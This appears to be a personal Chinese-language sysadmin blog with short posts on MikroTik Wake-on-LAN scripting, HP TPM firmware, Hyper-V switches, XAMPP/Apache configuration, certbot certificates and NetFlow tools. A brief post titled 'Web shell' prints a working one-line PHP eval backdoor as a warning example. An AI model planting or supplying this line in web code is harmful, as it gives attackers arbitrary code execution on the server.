2021年1月29日 星期五

Mikrotik WOL

 在 System 下,選擇 Scripts,選擇 + 

在 Name 欄位輸入script的名稱,在 Source 欄位中,輸入

:local MACADDR "AA:BB:CC:DD:EE:FF"; 

:foreach eth in=[/interface ethernet find] do={

  /tool wol interface=$eth mac=$MACADDR

}

其中 AA:BB:CC:DD:EE:FF 更換為網路卡的卡號。

2021年1月27日 星期三

HP TPM 韌體更新

 HP TPM韌體更新時,需先至BIOS內,關閉VTx的支援,否則會產生 HPTPMFWUpdate Return Code = 306 的錯誤訊,待更新完畢TPM韌體後,再至BIOS內,開啟VTx的支援。

2021年1月8日 星期五

 Hyper-V 虛擬交換器 on Win10


如果要新增 外部虛擬交換器,如果原本的網路介面卡使用靜態IP address,需先將網路介面卡改為 自動取得IP位址(DHCP),之後 再新增虛擬交換器(例如:Standard Switch),完成後再將新增的虛擬交換器(例如:Standard Switch),將IP位址修改為靜態IP address。  

2020年9月13日 星期日

XAMPP...再更新

1.修改apache/conf/httpd.conf

將 <Directory "E:/xampp7410/htdocs"> 中的

Options Indexes FollowSymLinks Includes ExecCGI

改為

Options FollowSymLinks


將ErrorLog改為

ErrorLog "|E:/xampp7410/apache/bin/rotatelogs.exe E:/xampp/htdocs/logs/error-%Y%m%d.log 86400"


將CustomLog改為

CustomLog "|E:/xampp7410/apache/bin/rotatelogs.exe E:/xampp/htdocs/logs/access-%Y%m%d.log 86400" combined

2.修改apache/conf/extra/httpd-ssl.conf

新增

<VirtualHost *:80>
ServerName sclai.cc
ServerAlias www.sclai.cc
Redirect permanent / https://sclai.cc/
</VirtualHost>

<VirtualHost *:443>
DocumentRoot "/xampp/htdocs"
ServerName sclai.cc
ServerAlias www.sclai.cc
SSLEngine on
SSLCertificateFile "conf/cert/cc/cert1.pem"
SSLCertificateKeyFile "conf/cert/cc/privkey1.pem"
</VirtualHost> 

修改
<VirtualHost _default_:443>
DocumentRoot "/xampp/htdocs"
ServerName sclai.cc:443
Redirect permanent / https://sclai.cc/
SSLCertificateFile "conf/cert/cc/cert1.pem"
SSLCertificateKeyFile "conf/cert/cc/privkey1.pem"
SSLEngine on
#其餘全部註解
</VirtualHost>

3.修改php/php.ini

將[Date]改為
date.timezone = "Asia/Taipei"

將;extension=imap改為
extension=imap

2020年8月1日 星期六

用certbot取得憑證

用 Certbot 取得憑證前,必須先在主機安裝 certbot。

取得單一網域名稱之憑證:
在電腦上沒有安裝或啟動web server的情況下,執行:

certbot certonly --standalone

之後輸入要申請的網域名稱,如果成功即可取得憑證。

取的網域名稱下全部名稱之憑證(wildcard):
申請此類憑證,必須擁有DNS內容的管理權限,才可通過檢核。
執行:

certbot certonly --manual --agree-tos -d "*.your.domain" -d your.domain --email email@your.domain --preferred-challenges dns --manual-public-ip-logging-ok --server https://acme-v02.api.letsencrypt.org/directory

之後會要求在DNS中新增一筆TXT紀錄,如:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please deploy a DNS TXT record under the name
_acme-challenge.your.domain with the following value:

ngXxX_D-aIJkc8q7dgnMEzSBuWCgmvAurP8sshgA40Y

Before continuing, verify the record is deployed.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
之後依照指示在DNS中加入_acme-challenge.your.domain的TXT紀錄,如內容所示,確定可以查詢到該筆TXT紀錄後,即可按下enter,如果成功即可取得憑證。
如果 domain 有兩筆以上,會分別顯示多個TXT紀錄,請同時將多個TXT紀錄加到DNS中。

憑證的效期均為90天。

2020年7月8日 星期三

Web shell

可怖的 Web shell ...

有人稱做 PHP 一句話木馬 ...

<?php @eval($_POST['mingchuan']);?> 

2019年12月8日 星期日

NetFlow Collector and Analyzer on Win10



There are several software have been recommanded to work as NetFlow Collectors and Analyzers for Windows 10.

  1. Ntop. Ntop cannot be acted as a NetFlow collector any more. The function of being a NetFlow collector has been moved to nProbe. Howerver, a license is required for nProbe to work.
  2. Pasessler PRTG. PRTG Network Analyzer, accompany with Redis and Win10Pcap, can be acted as a NetFlow colletctor. By using the log stream data (for debuging) function, we may find flows are recored in CSV format in StreamLog directory. However,  PRTG drops information about number of packets and TCP flags which are quite essential to network analysis.
  3. ManageEngine NetFlow Analyzer. The NetFlow Analyzer, accompany with PostgreSQL, can be act as a NetFlow colletor. By enable the storage setting for raw data, the flow records can be viewed by generate Forensics report.